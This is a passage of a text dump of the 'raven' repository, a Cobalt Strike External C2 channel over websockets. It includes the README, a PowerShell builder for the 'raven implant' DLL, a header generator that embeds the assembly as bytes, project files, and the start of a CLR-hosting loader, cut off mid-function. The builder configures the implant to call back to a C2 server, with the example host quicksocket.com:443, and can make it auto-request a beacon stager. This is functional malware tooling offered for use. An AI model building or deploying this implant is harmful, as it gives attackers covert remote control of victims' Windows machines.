Full Code of xorrior/raven for AI

master b28bbfee2536 cached
42 files
652.6 KB
200.6k tokens
57 symbols
1 requests
Download .txt
Showing preview only (676K chars total). Download the full file or copy to clipboard to get everything.
Repository: xorrior/raven
Branch: master
Commit: b28bbfee2536
Files: 42
Total size: 652.6 KB

Directory structure:
gitextract_6uyg184h/

├── .gitignore
├── LICENSE
├── README.md
├── client/
│   └── netRaven/
│       ├── FodyWeavers.xml
│       ├── New-RavenHeader.ps1
│       ├── New-RavenPayload.ps1
│       ├── Raven/
│       │   ├── .gitignore
│       │   ├── Raven.cpp
│       │   ├── Raven.vcxproj
│       │   ├── Raven.vcxproj.filters
│       │   ├── ReadMe.txt
│       │   ├── clr.cpp
│       │   ├── clr.hpp
│       │   ├── dllmain.cpp
│       │   ├── mscorlib.tlh
│       │   ├── netRaven_dll.hpp
│       │   ├── stdafx.cpp
│       │   ├── stdafx.h
│       │   ├── targetver.h
│       │   └── utils.hpp
│       ├── netRaven/
│       │   ├── Core.cs
│       │   ├── Crypto.cs
│       │   ├── Loader.cs
│       │   ├── Properties/
│       │   │   ├── AssemblyInfo.cs
│       │   │   ├── Resources.Designer.cs
│       │   │   └── Resources.resx
│       │   ├── TaskHandler.cs
│       │   ├── netRaven.csproj
│       │   └── packages.config
│       ├── netRaven.sln
│       └── ravenDebug/
│           ├── Program.cs
│           ├── Properties/
│           │   └── AssemblyInfo.cs
│           ├── app.config
│           ├── obj/
│           │   └── Debug/
│           │       ├── ravenDebug.csproj.CoreCompileInputs.cache
│           │       └── ravenDebug.csprojAssemblyReference.cache
│           └── ravenDebug.csproj
├── externalc2.cna
└── server/
    ├── handler.go
    ├── index.html
    ├── main.go
    ├── setup.sh
    └── userhandler.go

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
# Prerequisites
*.d

# Compiled Object files
*.slo
*.lo
*.o
*.obj

# Precompiled Headers
*.gch
*.pch

# Compiled Dynamic libraries
*.so
*.dylib
*.dll

# Fortran module files
*.mod
*.smod

# Compiled Static libraries
*.lai
*.la
*.a
*.lib

# Executables
*.exe
*.out
*.app


================================================
FILE: LICENSE
================================================
BSD 3-Clause License

Copyright (c) 2019, Chris Ross
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

3. Neither the name of the copyright holder nor the names of its
   contributors may be used to endorse or promote products derived from
   this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.


================================================
FILE: README.md
================================================
# Raven
CobaltStrike External C2 for Websockets
* Additional info: https://www.cobaltstrike.com/help-externalc2
# Server Build (Ubuntu)

* Copy the server folder to your VPS.
* Run ./setup.sh as root or with sudo

# Client build (Windows)

* Copy the client folder to a Windows development host.
* Install the Windows 10, 8.1, or 7 [SDK](https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk)
* Verify that MSBuild is installed and note the MSBuild tools version noted in the registry key here: HKLM:\SOFTWARE\Microsoft\MSBuild\ToolsVersions\[Version]
* Run New-RavenPayload.ps1. Use Get-Help to view the available options.

* That's all folks. YMMV

================================================
FILE: client/netRaven/FodyWeavers.xml
================================================
<?xml version="1.0" encoding="utf-8" ?>
<Weavers>
	<Costura/>
</Weavers>

================================================
FILE: client/netRaven/New-RavenHeader.ps1
================================================
function New-RavenHeader
{
    <#
    .SYNOPSIS Generates a new header file in the post build event for the slack-client
    
    Author: @tifkin_ Lee Christensen
    #>
    [CmdletBinding()]
    [OutputType([string])]
    Param
    (
        [Parameter(Mandatory=$true,
                   ValueFromPipelineByPropertyName=$true,
                   Position=0)]
        $AssemblyPath
    )

	$Bytes = Get-Content -Raw -Encoding Byte $AssemblyPath
	$OutputStr = New-Object System.Text.StringBuilder

	$Counter = 1
	foreach($Byte in $Bytes) {
		$null = $OutputStr.Append("0x$('{0:X2}' -f $Byte),") 

		if($Counter % 12 -eq 0) {
			$null = $OutputStr.AppendLine()
			$null = $OutputStr.Append("`t")
		}
		$Counter++
	}

	$null = $OutputStr.Remove($OutputStr.Length-1,1)

	$Source = @'
#ifndef NETRAVENDLL_H_
#define NETRAVENDLL_H_

static const unsigned char netraven_dll[] = {
    REPLACE
};

static const unsigned int NETRAVEN_dll_len = LENGTH;

#endif
'@

	$Source = $Source -replace 'REPLACE',$OutputStr.ToString()
	$Source = $Source -replace 'LENGTH',$Bytes.Length
	$Source
}


================================================
FILE: client/netRaven/New-RavenPayload.ps1
================================================
function New-RavenPayload {
    <#
    .SYNOPSIS
    This function is used to generate a .resx file for the clients configuration and then use MSBuild to generate a dll

    .DESCRIPTION
    This function will create a .resx file with configuration options for the raven implant. The options are written to the resx file as a 
    serialized custom .net object. During the build process, the resx file will be added as an embedded resource.After the build is complete, the payload
    dll will be written to the output directory.

    .PARAMETER PipePrefix
    Prefix that will be used in the pipename prefix_(alphanumeric string). Required

    .PARAMETER Block
    Block time used by the external C2 server to wait for tasks in milliseconds.

    .PARAMETER Server
    Host name or IP Address and Port for the server. Format = HOST:PORT
    
    .PARAMETER ProjectRoot
    Root project directory for the netRaven client

    .PARAMETER Ssl
    SWITCH. Use Ssl for websocket connections

    .PARAMETER x64
    SWITCH. Generate an x64 payload

    .PARAMETER ToolsVersion
    Version of MSBuild tools to use. Found in the registry: HKLM:\SOFTWARE\Microsoft\MSBuild\ToolsVersions\[Version]

    .PARAMETER OutputPath
    Path to where the compiled payload should be saved.

    .PARAMETER AutoUpgrade
    SWITCH. Configures the raven client so that it will automatically send a request for a beacon stager to the controller.

    .EXAMPLE
    Create a new raven payload that will auto upgrade to beacon upon execution.

    New-RavenPayload -PipePrefix "TermSrv" -Block 5000 -Server "quicksocket.com:443" -ProjectRoot "C:\Users\user\Projects\raven\client\netRaven" -Ssl -AutoUpgrade
    #>
    [CmdletBinding()]
    param
    (
        [Parameter(Mandatory = $true)]
        [ValidateNotNullOrEmpty()]
        [string]$PipePrefix,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [int]$Block = 100,

        [Parameter(Mandatory = $true)]
        [ValidateNotNullOrEmpty()]
        [string]$Server,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [ValidateScript({Test-Path $_})]
        [string]$ProjectRoot = ".",

        [Parameter(Mandatory = $false)]
        [switch]$Ssl,

        [Parameter(Mandatory = $false)]
        [switch]$x64,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$ToolsVersion = "14.0",

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$OutputPath = "$($pwd.Path)\$Server`_raven.dll",

        [Parameter(Mandatory = $false)]
        [switch]$AutoUpgrade
    )

    # Add the System.Windows.Forms assembly

    Add-Type -AssemblyName System.Windows.Forms

    # Check to make sure the resource file is present
    if (-not (Test-Path (Resolve-Path $ProjectRoot))) {
        Write-Error "[!] Unable to find $ProjectRoot"
        break
    }

    $SlnFilePath = "$ProjectRoot\netRaven.sln"

    if ($x64) {
        $platform = "x64"
        $dllPath = "$ProjectRoot\x64\Release\Raven.dll"
    }
    else {
        $platform = "x86"
        $dllPath = "$ProjectRoot\Release\Raven.dll"
    }


    Write-Verbose "[+] Configuring an $platform dll"

    $resourcePath = "$(Resolve-Path $ProjectRoot)\netRaven\Properties\Resources.resx"
    # Set the server url
    if ($PSBoundParameters['Ssl'] -eq $true) {
        $ravenserver = "wss://$Server/ws"
    }
    else {
        $ravenserver = "ws://$Server/ws"
    }

    if ($PSBoundParameters['AutoUpgrade'] -eq $true) {
        $auto = $true
    }
    else {
        $auto = $false
    }

    # Create the pipename
    $pipename = "$($PipePrefix)_$(Get-RandomString -length 4)"

    try {
        $ResourceFile = New-Object -TypeName "System.Resources.ResXResourceWriter" -ArgumentList @($resourcePath)
    }
    catch {
        Write-Error $_
        break
    }

    Write-Verbose "[+] Writing configuration options to $resourcePath"
    $ResourceFile.AddResource("server", $ravenserver)
    $ResourceFile.AddResource("pipename", $pipename)
    $ResourceFile.AddResource("block", $Block)
    $ResourceFile.AddResource("auto", $auto)
    $ResourceFile.Generate()
    $ResourceFile.Close()

     # Build the project using MSBuild.exe

    $out = [ordered] @{
        pipename = $pipename
        block = $block
        path = ""
        AutoUpgrade = $auto
        Server = $Server
    }

    if (-not $(Test-Path -Path "HKLM:\SOFTWARE\Microsoft\MSBuild\ToolsVersions\$ToolsVersion")) {
        Write-Verbose "[-] Unable to locate MSBuild tools path"
        break
    }

    $MSBuildBinDir = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\MSBuild\ToolsVersions\$ToolsVersion" -Name "MSBuildToolsPath").MSBuildToolsPath

    $MSBuild = "$MSBuildBinDir`MSBuild.exe"
    $BuildArgs = @{
        FilePath = $MSBuild
        ArgumentList = $SlnFilePath, "/p:Configuration=`"Release`"", "/p:Platform=`"$platform`"", "/p:PlatformToolset=v140", "/clp:ErrorsOnly", "/verbosity:quiet"
        Wait = $true
        NoNewWindow = $true
    }

    Write-Verbose "[+] Initiating MSBuild process.."
    Start-Process @BuildArgs

    # Copy the somberfire dll to the output dir
    Write-Verbose "[+] Copying the compiled dll to $OutputPath"

    Copy-Item -Path $dllPath -Destination $OutputPath -Force
    $out.path = $OutputPath
    

    $out
}

Function Get-RandomString {

	[CmdletBinding()]
	Param (
        [int] $length = 8
	)

	Begin{
	}

	Process{
        Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length  | % {[char]$_}) )
	}
}

================================================
FILE: client/netRaven/Raven/.gitignore
================================================
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib

# Test binary, build with `go test -c`
*.test

# Output of the go coverage tool, specifically when used with LiteIDE
*.out

*.d

# Compiled Object files
*.slo
*.lo
*.o
*.obj

# Precompiled Headers
*.gch
*.pch

# Compiled Dynamic libraries
*.so
*.dylib
*.dll

# Fortran module files
*.mod
*.smod

# Compiled Static libraries
*.lai
*.la
*.a
*.lib

# Executables
*.exe
*.out
*.app


# User-specific files
*.suo
*.user
*.sln.docstates

# Build results
[Dd]ebug/
[Rr]elease/
x64/
[Bb]in/
[Oo]bj/
# build folder is nowadays used for build scripts and should not be ignored
#build/

# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/packages/*
# except build/, which is used as an MSBuild target.
!**/packages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/packages/repositories.config

# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*

*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc

# OS generated files #
.DS_Store*
Icon?

# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile

# Visual Studio profiler
*.psess
*.vsp
*.vspx

# Guidance Automation Toolkit
*.gpState

# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper

# TeamCity is a build add-in
_TeamCity*

# DotCover is a Code Coverage Tool
*.dotCover

# NCrunch
*.ncrunch*
.*crunch*.local.xml

# Installshield output folder
[Ee]xpress/

# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html

# Click-Once directory
publish/

# Publish Web Output
*.Publish.xml

# Windows Azure Build Output
csx
*.build.csdef

# Windows Store app package directory
AppPackages/

# Others
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
modulesbin/
tempbin/

# EPiServer Site file (VPP)
AppData/

# RIA/Silverlight projects
Generated_Code/

# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm

# vim
*.txt~
*.swp
*.swo
 
# svn
.svn

# CVS - Source Control
**/CVS/

# Remainings from resolvings conflicts in Source Control
*.orig

# SQL Server files
**/App_Data/*.mdf
**/App_Data/*.ldf
**/App_Data/*.sdf


#LightSwitch generated files
GeneratedArtifacts/
_Pvt_Extensions/
ModelManifest.xml

# =========================
# Windows detritus
# =========================

# Windows image file caches
Thumbs.db
ehthumbs.db

# Folder config file
Desktop.ini

# Recycle Bin used on file shares
$RECYCLE.BIN/

# Mac desktop service store files
.DS_Store

# SASS Compiler cache
.sass-cache

# Visual Studio 2014 CTP
**/*.sln.ide

# Visual Studio temp something
.vs/

# dotnet stuff
project.lock.json

# VS 2015+
*.vc.vc.opendb
*.vc.db

# Rider
.idea/

# Visual Studio Code
.vscode/

# Output folder used by Webpack or other FE stuff
**/node_modules/*
**/wwwroot/*

# SpecFlow specific
*.feature.cs
*.feature.xlsx.*
*.Specs_*.html

#####
# End of core ignore list, below put you custom 'per project' settings (patterns or path)
#####

================================================
FILE: client/netRaven/Raven/Raven.cpp
================================================
// Raven.cpp : Defines the exported functions for the DLL application.
//

#include "stdafx.h"




================================================
FILE: client/netRaven/Raven/Raven.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Debug|Win32">
      <Configuration>Debug</Configuration>
      <Platform>Win32</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Release|Win32">
      <Configuration>Release</Configuration>
      <Platform>Win32</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Debug|x64">
      <Configuration>Debug</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Release|x64">
      <Configuration>Release</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <ProjectGuid>{CD4CC899-F931-4A5D-8B43-099F647C6127}</ProjectGuid>
    <Keyword>Win32Proj</Keyword>
    <RootNamespace>Raven</RootNamespace>
    <WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
    <ConfigurationType>DynamicLibrary</ConfigurationType>
    <UseDebugLibraries>true</UseDebugLibraries>
    <PlatformToolset>v140</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
    <ConfigurationType>DynamicLibrary</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v140</PlatformToolset>
    <WholeProgramOptimization>true</WholeProgramOptimization>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
    <ConfigurationType>DynamicLibrary</ConfigurationType>
    <UseDebugLibraries>true</UseDebugLibraries>
    <PlatformToolset>v140</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
    <ConfigurationType>DynamicLibrary</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v140</PlatformToolset>
    <WholeProgramOptimization>true</WholeProgramOptimization>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings">
  </ImportGroup>
  <ImportGroup Label="Shared">
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <LinkIncremental>true</LinkIncremental>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    <LinkIncremental>true</LinkIncremental>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <LinkIncremental>false</LinkIncremental>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <LinkIncremental>false</LinkIncremental>
  </PropertyGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <ClCompile>
      <PrecompiledHeader>
      </PrecompiledHeader>
      <WarningLevel>Level3</WarningLevel>
      <Optimization>Disabled</Optimization>
      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;RAVEN_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <SDLCheck>true</SDLCheck>
    </ClCompile>
    <Link>
      <SubSystem>Windows</SubSystem>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    <ClCompile>
      <PrecompiledHeader>
      </PrecompiledHeader>
      <WarningLevel>Level3</WarningLevel>
      <Optimization>MinSpace</Optimization>
      <PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;RAVEN_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <SDLCheck>true</SDLCheck>
      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
    </ClCompile>
    <Link>
      <SubSystem>Windows</SubSystem>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <PrecompiledHeader>
      </PrecompiledHeader>
      <Optimization>MaxSpeed</Optimization>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;RAVEN_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <SDLCheck>true</SDLCheck>
    </ClCompile>
    <Link>
      <SubSystem>Windows</SubSystem>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <PrecompiledHeader>
      </PrecompiledHeader>
      <Optimization>MinSpace</Optimization>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;RAVEN_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <SDLCheck>true</SDLCheck>
      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
    </ClCompile>
    <Link>
      <SubSystem>Windows</SubSystem>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemGroup>
    <Text Include="ReadMe.txt" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="clr.hpp" />
    <ClInclude Include="netRaven_dll.hpp" />
    <ClInclude Include="stdafx.h" />
    <ClInclude Include="targetver.h" />
    <ClInclude Include="utils.hpp" />
  </ItemGroup>
  <ItemGroup>
    <ClCompile Include="clr.cpp" />
    <ClCompile Include="dllmain.cpp">
      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
      </PrecompiledHeader>
      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
      </PrecompiledHeader>
      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
      </PrecompiledHeader>
      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
      </PrecompiledHeader>
    </ClCompile>
    <ClCompile Include="Raven.cpp" />
    <ClCompile Include="stdafx.cpp" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
  </ImportGroup>
</Project>

================================================
FILE: client/netRaven/Raven/Raven.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup>
    <Filter Include="Source Files">
      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
    </Filter>
    <Filter Include="Header Files">
      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
    </Filter>
    <Filter Include="Resource Files">
      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
    </Filter>
  </ItemGroup>
  <ItemGroup>
    <Text Include="ReadMe.txt" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="stdafx.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="targetver.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="clr.hpp">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="utils.hpp">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="netRaven_dll.hpp">
      <Filter>Header Files</Filter>
    </ClInclude>
  </ItemGroup>
  <ItemGroup>
    <ClCompile Include="stdafx.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="Raven.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="dllmain.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="clr.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
  </ItemGroup>
</Project>

================================================
FILE: client/netRaven/Raven/ReadMe.txt
================================================
========================================================================
    DYNAMIC LINK LIBRARY : Raven Project Overview
========================================================================

AppWizard has created this Raven DLL for you.

This file contains a summary of what you will find in each of the files that
make up your Raven application.


Raven.vcxproj
    This is the main project file for VC++ projects generated using an Application Wizard.
    It contains information about the version of Visual C++ that generated the file, and
    information about the platforms, configurations, and project features selected with the
    Application Wizard.

Raven.vcxproj.filters
    This is the filters file for VC++ projects generated using an Application Wizard. 
    It contains information about the association between the files in your project 
    and the filters. This association is used in the IDE to show grouping of files with
    similar extensions under a specific node (for e.g. ".cpp" files are associated with the
    "Source Files" filter).

Raven.cpp
    This is the main DLL source file.

	When created, this DLL does not export any symbols. As a result, it
	will not produce a .lib file when it is built. If you wish this project
	to be a project dependency of some other project, you will either need to
	add code to export some symbols from the DLL so that an export library
	will be produced, or you can set the Ignore Input Library property to Yes
	on the General propert page of the Linker folder in the project's Property
	Pages dialog box.

/////////////////////////////////////////////////////////////////////////////
Other standard files:

StdAfx.h, StdAfx.cpp
    These files are used to build a precompiled header (PCH) file
    named Raven.pch and a precompiled types file named StdAfx.obj.

/////////////////////////////////////////////////////////////////////////////
Other notes:

AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.

/////////////////////////////////////////////////////////////////////////////


================================================
FILE: client/netRaven/Raven/clr.cpp
================================================
#include "clr.hpp"
#include "utils.hpp"
#include <iostream>
/*
MIT License

Copyright (c) 2017 Aaron

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/



namespace clr {
    ClrAssembly::ClrAssembly(mscorlib::_AssemblyPtr p) : p_(p)
    {
    }

    mscorlib::_TypePtr ClrAssembly::find_type(const std::wstring& clsname)
    {
        mscorlib::_TypePtr   pClsType = nullptr;
        mscorlib::_TypePtr*  pTypes = nullptr;
        BSTR                 pName = L"";
        HRESULT              hr = S_OK;
        bool                 found = false;
        SAFEARRAY*           pArray = nullptr;
        long                 lower_bound = 0;
        long                 upper_bound = 0;

        if (FAILED((hr = p_->GetTypes(&pArray)))) {
            LOG_ERROR("Failed to get types!", hr);
            return false;
        }
        SafeArrayGetLBound(pArray, 1, &lower_bound);
        SafeArrayGetUBound(pArray, 1, &upper_bound);
        SafeArrayAccessData(pArray, (void**)&pTypes);
        auto elem_count = upper_bound - lower_bound + 1;
        for (auto i = 0; i < elem_count; ++i) {
            pClsType = pTypes[i];
            if (FAILED((hr = pClsType->get_FullName(&pName)))) {
                LOG_ERROR("Failed to query for name!", hr);
                break;
            }

            if (pName == clsname) {
                found = true;
                break;
            }
        }
        SafeArrayUnaccessData(pArray);
        if (!found)
            return nullptr;

        return pClsType;

    }

    std::unique_ptr<ClrClass> ClrAssembly::construct(const std::wstring & classname)
    {
        std::unique_ptr<ClrClass> cls;
        HRESULT             hr = S_OK;
        bool                found = false;
        mscorlib::_TypePtr  pClsType = nullptr;
        bstr_t              pName(classname.c_str());
        variant_t           var;

        if (FAILED((hr = p_->CreateInstance(pName, &var)))) {
            LOG_ERROR("Failed to create class instance!", hr);
            return nullptr;
        }

        pClsType = find_type(classname);
        if (pClsType == nullptr) {
            LOG("Failed to find class!");
            return nullptr;
        }

        cls = std::make_unique<ClrClass>(pClsType, var);
        return cls;
    }


    std::wstring ClrDomain::find_runtime()
    {
        HRESULT hr = S_OK;
        int g_maj = 0;
        int g_min = 0;
        int g_build = 0;
        std::wstring ver = clr_default_version;

